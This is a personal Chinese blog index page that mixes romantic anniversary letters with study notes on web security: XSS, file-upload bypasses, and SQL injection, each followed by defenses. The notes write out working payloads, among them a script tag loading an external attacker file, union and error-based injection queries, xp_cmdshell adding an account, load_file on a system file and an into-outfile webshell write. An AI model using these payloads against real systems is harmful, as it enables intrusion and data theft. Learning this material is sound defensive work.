A funny p1g

宁移白首 不坠青云


  • Home

  • Tags

  • Archives

1100100

Posted on 2022-08-23

哈喽!hqq!
属于我们的一百天就这么如约而至了。
如约而至听起来多么令人心安,在盛夏之后的初秋,期待如期开花结果。
这个夏天,注定是印象深刻的:有持续的高温晒干了嘉陵江、有反复的疫情封闭了好多片区、有可怕的山火被人们同心扑灭,历经困难之后的人们一定会记住这个难忘的夏天。但是,私心之下,我们一起走过的这一百天才是这个难忘夏天里更难忘的回忆。

分别。
我是一个极其讨厌分别的人。除了小时候暑假舍不得从农村回家之外从小到大都在重庆的我也没有经历过和重要的人分别。在端午节第一次送你回家之后再一次切实体会到了分别的难过,这种难过不是小孩离开玩伴的不舍,而是担心再也无法相见时对相处时光的留恋。回家的路上,好想好想时间就停留在这个傍晚啊,不用解释过去也不用担心未来,这个傍晚的此刻就是地老天荒。
距离。
一天一天里,我们之间的距离好像被施展了魔法,命运般的光速接近。笔记里的每一个“第一次”都是两个陌生灵魂相识相知的故事,这个暂且不算漫长故事里已经记录了一起做饭一起出行、一起拥抱一起亲吻、一起欢笑一起哭泣…越来越近的距离感我认为是来自这两个陌生灵魂的契合——冥冥之中一些的经历以及对一些事情的看法是那么的相似。当两个灵魂想要接近的时候,通过四肢表现出来的肢体语言,通过表情流露出的爱意,通过眼神传递的光芒都是藏不住的。
光。
光是通向未来的光,以前我不敢去想未来是什么样子,如今想象里的未来不会改变。或许你总是会觉得我想得很远很久,如果我认真的回答这个疑惑答案会是:以前不敢拥有的感觉遇到你之后爆发了。要说以前,很少会有长久的想象,更多的是解决当下的困难,除了现实的压力还有感情上的压力。所以你实在是迟到了很久,久到差点认为生活就该如黑夜一般没落,但是又来得刚好,在黑夜最深的时候出现了,在我的黑夜里,你就是那道微弱又强大的光,穿破层层叠嶂,到达我的身旁。未来的未来里,一定会遇到更黑的黑夜,那是我一定会有直面任何困难和挑战的勇气,因为只要是和你,黑的终点总会是光。你就是最温柔的月亮,最闪耀的星星。

一百天的时光不过我们所经历人生的1%,不过我坚信,以后我们不会再缺席彼此成长中的任何一天。从2022年5月30日起,往后的时光一定会是100%。

相遇

Posted on 2022-08-01

哈喽!hqq!
说实话相当忐忑,想给你写点啥却不知道该写啥,因为这几段话的意义实在尤其重要。
今天是2022年8月1日,距离1995年农历1月25日已经有10020天了,距离1995年10月11日也有9791天,距离2022年5月30日仅有64天。

🌞太阳起落一万次都是为你我相遇埋下伏笔。

当当!书回正文,提前祝相遇的第一个情人节快乐~
有三个问题,想到结果了就可以往下看咯。以下:
1.判断题:在hqq看来实习期男友他有好好表现吗?( )
2.简答题:在hqq看来哪些他什么地方可以做得更好呢?
答:_________________________________
3.计算题:hqq真的喜欢他吗?真的吗?






↓嗯?有认真做题吗?↓

Read more »

no regret

Posted on 2018-01-25

删啦

Read more »

jk小姐姐真好看

Posted on 2018-01-24

朋友一生一起走呀那些日子还会有呀。

xss即跨站脚本攻击,是攻击者在网页中嵌入客户端脚本,通常是js编写的恶意的代码。当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码会在用用户的浏览器上执行。所以js能做到什么效果,xss攻击就有多大威力。
攻击者通常使用<script src="http://www.xxx.com/x.txt"></script>> 来加载外部脚本你,而在x.txt中存在攻击者设计好的js代码。js加载的外部代码文件可以是任意扩展名。
xss主要分为三类,分别是:反射,存储和dom型。
1.反射型,也被称为非持久型xss。 当用户访问带有xss的url时,s接受数据处理后把带有xss代码的数据发送给c,浏览器解析这段数据后造成xss攻击。
2.存储型,又称为持久型xss。允许用户存储数据的web应用程序都可能出现存储型xss攻击,当攻击者提交一段xss代码后被s接受并存储,当攻击者再次访问这个页面时,这段代码被程序读出来并且响应给浏览器,造成xss攻击。存储型xss不需要手动触发,所以具有更高的隐蔽性。 以留言板为例,<input type="text" name="content" value="<script> alert(1)</script>"/> 虽然被成功插入到留言板中,但不会被执行,因为容器在解析html时,将数据以文本形式输出。可以使用类似注入的手段来造成xss攻击,就是闭合标签。<input type="text" name="content" value=""><script> alert(1)</script>"/> 在攻击前可以使用firebug快速找到标签,如果显示区域不在标签内可以直接注入。
3.dom型,即文档对象模型。dom通常代表html,xhtml,xml中的对象。dom规定:文档是文档节点,标签是元素节点,元素中的文本是文本节点,每个html属性是属性节点,节点之间有等级关系。dom型xss不需要与s交互,只发生在c处理数据阶段。

🐷 很重要的cookie和session
cookie是能够让网站把少量文本存储到c的硬盘,内存或者是从c的内外存读取数据的一种技术。cookie是一段随http请求、响应一起被传递的额外数据,它的作用是辨识用户、维持会话。当浏览某个网站时,该网站可能向硬盘写入了一个非常小的文本文件,它可以记录你的用户id、密码、停留时间等信息,这个文件就是cookie。当你再次来到这个网站时,浏览器会自动检测你的硬盘,并肩存储在本地的cookie发送给网站,网站通过读取cookie,得到你的相关信息,就可以做出相应的动作,比如:直接登录。
cookie可以分为我内存cookie和外存(硬盘)cookie:内存cookie由浏览器维护,保存在内存中,浏览器关闭后就消失;硬盘cookie保存在硬盘里有一个过期时间,除非手动清理或者到了过期时间,否则不会被删除。这个分类也可以称为持久和非持久cookie。cookie中的内容大多数都经过了加密处理,只有服务器的程序才知道真正含义。
除了cookie之外还有一种维持会话状态的形式是session。session被称为“会话”,是一种服务器端的机制,一次客户端和服务器的对话被称为session。每个用户的会话状态都是不同的session,靠着sessionID来区分用户。当用户第一次连接到s时,会自动分配一个sessionID,会话结束时session会自动注销,当用户再次链接时将会重新分配。session存储在cookie中,相当于临时cookie。
cookie和session的最大区别就是cookie将数据存储在c,session则是保存在s仅仅是在c有一个sessionID。相对来说session更加安全。但是在cookie选项中有一项httponly,带有httponly的cookie时禁止js读取的。

Read more »

afraid

Posted on 2018-01-20

😖

好

Posted on 2018-01-07

15号补笔记中…6、7章的内容。

一、第六章上传漏洞。只要web允许上传文件就有可能产生文件上传漏洞。
(1).解析漏洞
攻击者利用上传漏洞时通常时通过web容器的解析漏洞达到目的。常见的web容器有iis,nginx,apacha,tomcat等。
1).iis解析漏洞
1.在建立.asa、.asp目录的文件都会被当作asp文件解析。比如test.txt和test.asp;1.jpg(图片木马,后文补充)
2.webdav漏洞。webdav时基于http1.1协议的通信协议,它扩展了http。若某web容器支持webdav并且支持get,put方法等,就可能存在webdav漏洞。
第一步发送options请求探测服务器支持的http方法。
第二步用get或put等方法上传shell文件shell.txt。
第三步用move或copy方法将shell.txt改名为shell.asp。这样就简单的获取了一个webshell。
2).apache解析漏洞
apache有一个扩展名白名单,当遇到不认识的扩展名时,就从后向前解析,直到碰到名单上有的扩展名为止。若都不认识,则会暴露源代码。比如有a.php.rar.aa文件,apapche容器只认识.php,就会把a文件当php文件解析。
3).nginx解析漏洞
nginx通常作为php的解析容器。当访问www.yy.com/1.jpg/shell.php,shell.php是隐藏在1.jpg的图片木马,其实不存在这个文件。这样就可以得到wenshell。
(2).绕过上传漏洞
文件上传的流程:客户端使用js验证,服务器端使用随机数重命名防止重复。程序猿防止上传漏洞的方法可以分为客户端用js检测和服务器端检测文件mime类型,扩展名合法否,存在恶意代码否。
1).绕过客户端js检测
js检测:checkfile()函数有一个白名单,点提交文件后(执行submit事件)通过js编写的checkfile()检测后,upload()函数会将文件上传至服务器。
1.使用firebug删除submit事件。
2.编写一个没有submit事件的表单替换原有的。
3.中间人攻击。在js验证后在传输层修改文件。
2).绕过服务器检测
1.服务器通常会对扩展名进行检测,一般使用黑白名单的策略。
黑名单攻击的方法:
a.找到程序猿忽略的扩展名
b.文件名大小写转换
c.“.asp.”=“.asp ”=“.asp”
白名单攻击方法:
a.test.asp;1.jpg
2.mime验证:指定打开某种扩展名的程序。
攻击方法:传输层修改文件扩展名。
3.截断上传攻击
比如,服务器验证的白名单扩展名有.jpg,将上传的文件名改为“shell.asp%001.jpg”,再将%00的值改为null,shell.asp后面的字符就会被截断。
(3).防御上传漏洞
1.建立完整的过滤目录
2.在upload()函数里让文件重命名,保留一个原有扩展名。

Read more »

a mouth

Posted on 2018-01-03

13号补笔记…5章的内容…

第五章——sql注入漏洞。
一.sql注入漏洞的原因是用户输入的数据被SQL解释其执行。以前的笔记:

注入攻击的本质:1.能够用户控制输入。 2.原来执行的代码拼接了用户的输入。
利用注入漏洞的目的就是绕过程序限制,使用户输入的数据带入数据库,利用数据库获得更大的权限或者更多信息。可以归为查询数据、读写文件、执行命令。
常见注入漏洞可以分为数字型注入和字符型注入。

1
2
3
4
www.xxser.com/test.php?id=*8* //执行正常成功返回,猜测sql语句为:select * from table where id=8
www.xxser.com/test.php?id=*8' *//会出错
www.xxser.com/test.php?id=*8 and 1=1* //执行正常成功返回
www.xxser.com/test.php?id=*8 and 1=2* // 可以执行但无返回值

以上是基本的数字型注入。可以修改1=1利用union语句执行联合查询。

1
2
3
select * from table where username='*admin*' //例句 
select * from table where username='*admin and 1=1*' //像数字型一样不行
select * from table where username='*admin' and 1=1 --*' // 必须闭合单引号和注释掉多余代码

–代表注释。输入的第一个’可以反向闭合掉username的输入框。
以上都是布尔值判断注入点存在与否,还有可以通过延时判断(sleep(x))能否注入。
二.常见数据库的注入(sql sever和 mysql)
(1).sql server
sql server是微软开发,用在大型数据库的数据库管理系统。
1).利用错误回显提取信息。
1.枚举当前表及列
select * from users where username='*root*' and password='*root' having 1=1--*'
报错:user.id无效,没有包含在聚合函数或者gruop by子句中。继续构造:

select * from users where username='*root*' and password='*root' gruop by user.id having 1=1--*'
报错:user.username无效。循环,直到查询出所有列名。
2.利用数据类型错误提取数据。
select * from users where username='*root*' and password='*root' and 1>(select top 1 username from users)*'
报错:varchar值root转换为int失败。找到账户名root。
select * from users where username='*root*' and password='*root' and 1>(select top 1 username from users where username not in ('root'))*'
找到下一个username。
2).order by 子句

1
2
3
4
5
select id,username,password,form users where id=1 // sql正常执行
select id,username,password,form users where id=1 order by 1 //按第1列排序
select id,username,password,form users where id=1 order by 2 //按第2列排序
select id,username,password,form users where id=1 order by 3 //按第3列排序
select id,username,password,form users where id=1 order by 4 //抛出异常

异常:order by位号4超出列表中项数的范围。得知当前sql语句有几列存在,可以配合union关键字进行下一步攻击。
3).union查询
union查询基本规则:所有查询的列数必须相同,数据类型必须兼容。

1
2
3
select id,username,password,sex from users where id=1 union select null ;
select id,username,password,sex from users where id=1 union select null,null;
select id,username,password,sex from users where id=1 union select null,null,null;//直到无异常产生

4).存储过程
类似系统自带的函数。
最容易使用的存储过程是xp_cmdshell,这个存储过程允许用户操作系统函数。
select * from table where id = *1; exec (xp_cmdshell 'net user test test /add')* //动态执行,添加test账户,登录密码test`
类似的存储过程还有xp_regread(读取注册表),xp_regdeletevalue(删除注册表),xp_dirtree(读取目录)
5).动态执行
sql server支持动态执行,用户可以提交一个字符串来执行sql语句。

1
2
exec('select username  from users')
exec(' selec'+'t password fr'+'om users ')

(2).mysql
mysql是一个创业的小青年,只能运行中小型数据库。
1).获取元数据
通过mysql提供的信息数据库information_schema,information_schema获取元数据。

1
2
3
select schema_name from information_schema.schemata limit 0,1 //从information_schema.schemata表中查询出第一个数据库名称。
select table_name from information_schema.tables where table_schema=(select database()) limit 0,1 // 查询当前数据库表
select column_name from information_schema.columns where table_name='students' limit 0,1 // 查询指定表的所有字段

2).union查询
明天装了mysql测试了再来补。
3).函数利用
1.load_file()
使用mysql读取磁盘文件是非常容易的。文件必须在磁盘上,并且路径必须为绝对路径,要求用户持有file权限。
union select 1,load_file('/etc/password'),3,4,5 #
2.into outfile
向磁盘写入文件的操作。要求类似load_file()。
select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'
3.链接函数concat_ws()
select name from student where id=1 union select concat(user(),0x2c,database(),0x2c,version())
4).显错式注入
使用错误提取数据库信息,类似sql server。
5).宽字节注入
宽字节注入是由编码不统一造成的,一般出现在php+mysql中。当php.ini中的magic_quotes_gpc(魔术引号)开启时,get,post,cookie接受的’ " \和null字符都会被加一个\转义。

1
2
3
<?php
echo "<h3> input :". $_get['id']."</h3>"
?>

get接收到的id若是’会被转义为’。但是,当输入“%d5’”时,会被转义为“珹’”。在这个情况下,单引号就没有被转义了。
6).长字符截断
当sql_mode选项为dafault时,strict_all_tables选项是关闭的。这时mysql对插入超长的值只会提示warning而不是error。
这时,定义一个username为varchar(8)。若插入一个username为"admin x",出现警告后仍然插入到数据库,长度为8。
假如管理员登陆用户名是admin,攻击者注册一个admin…x。也可以进入后台管理界面。
7).延时注入
延时注入属于盲注技巧的一种。
select * from users where id=1 and sleep(5); //5秒后执行语句
可以用sleep函数判断url是否存在sql注入漏洞。

1
2
3
4
www.xxx.org/uesr.jsp?id=1 // 正常返回
www.xxx.org/uesr.jsp?id=1 ' //正常返回
www.xxx.org/uesr.jsp?id=1 ' and 1=1//正常返回
www.xxx.org/uesr.jsp?id=1 and sleep(3)//正常返回,多3秒后打开页面

三、防御sql注入
1.严格设定参数的数据类型。
2.特俗字符转义。
3.使用预编译语句。参考以前的笔记。预编译语句在创建的时候就已经将sql语句发送给dbms(数据库管理系统)完成了解析检查编译的工作,使用时只是将变量传给已经预编译好的sql语句。
4.谨慎使用存储过程。
5.利用框架技术提供的封装技术。类似预编译。

Read more »

跨年啦

Posted on 2018-01-01

一切都在走在正轨上,真好。
元旦看了些sql注入漏洞的内容,等我多看一些再复习一下以前的过后再来写笔记。

Read more »

安全

Posted on 2017-12-26

title灵感来自Tinker Tailor Soldier Spy >。< 昨天开始看第二本书了,争取1月20号之前看完。还要看申论和行测,嗯…感觉时间有点不够。打算这几天看看行测有什么些题型,元旦回来保持每天定时做一套,刷题就完事了。

HTTP请求流程。
用curl.exe可以发起一个简单的http请求,也能查看访问url后服务器返回的http相应头。浏览器在http协议方面只不过是多了html渲染的功能,让用户看到更直观的界面。
http请求只能由客户端发起。请求方法也有很多,get、post最常见。1.get:用于获取页面的指定信息,若请求的资源是动态脚本,那么返回文本是web容器解析后的html源代码。 2.post:与get最大的不同是,post方法是有请求内容的。3.post没有get方法的长度限制。 3.put:请求服务器把请求的实体保存在资源下。若实体存在有则覆盖,没有资源的话会创建这个资源。
4.trace:回显服务器收到的请求。 5.options:请求获得url标识的资源在请求/响应过程中可以使用的功能选项。
http状态码:1xx——成功接收,等待处理。 2xx——成功处理。 3xx——重定向。 4xx——客户端错误。 5xx——服务器错误。 常见的状态码如下。200,请求成功;302,重定向(有Redirect和Transfer两种方法,区别在于Redirect是客户端重定向,而Transfer是服务器端重定向);404,请求资源不存在;400,语法错误服务器不能理解;403,服务器收到请求但拒绝提供服;500,服务器内部错误。
http消息超级详细的讲解,谢谢大佬。
还讲到了两种截获报文的软件:brup suite和fiddler。具体操作不必多写。

Read more »

Next Journey

Posted on 2017-12-24

你们也一定都会有好结果的

今天昨天看完了第四篇:互联网业务安全。大多是策略性的知识。
安全是一个产品的核心竞争力,一个好的安全方案必须具备:良好的用户体验和优秀的性能。在搜索引擎中,有一些钓鱼网站、欺诈网站通常使用搜索引擎优化技术(为网站提供生态式的自我营销解决方案,让网站在行业内占据领先地位,从而获得品牌收益)来提高自身在搜索引擎中的排名。钓鱼、欺诈网站通常模仿真正的url。将o与0,l与1互换达到诈骗目的。目前,对钓鱼网站进行自动化识别是一种比较好的解决办法。
暴力破解或者是垃圾注册,大多是“短时间,高频率”的。可以直接锁定来自某一IP的请求。特别的,垃圾行为特征大致分为:内容特征;行为特征;客户端特征。对抗垃圾信息可以从上诉三个方面入手——1.基于内容的规则:自然语言分析;关键词匹配等。2.基于行为的规则:业务逻辑。3.基于客户端:人际识别,比如验证码,让客户端解析JS。
互联网公司用三句话在战略层面规划安全蓝图。“Find and fix”:通过漏洞扫描、渗透测试、代码审计等方式发现已有安全问题并通过设计安全方案最终解决这些问题。“Defend and defer”:通过入侵检测、防火墙、反DDOS等防御性设备,防范问题于未然,当问题发生时快速响应和处理。“Secure and source”:指的是安全开发流程SDL,从源头上降低安全风险,提高产品安全质量。

Read more »
12…4
1Yy

1Yy

31 posts
2 tags
GitHub E-Mail
© 2022 1Yy
Powered by Hexo
|
Theme — NexT.Muse v5.1.3
 |  Total  views.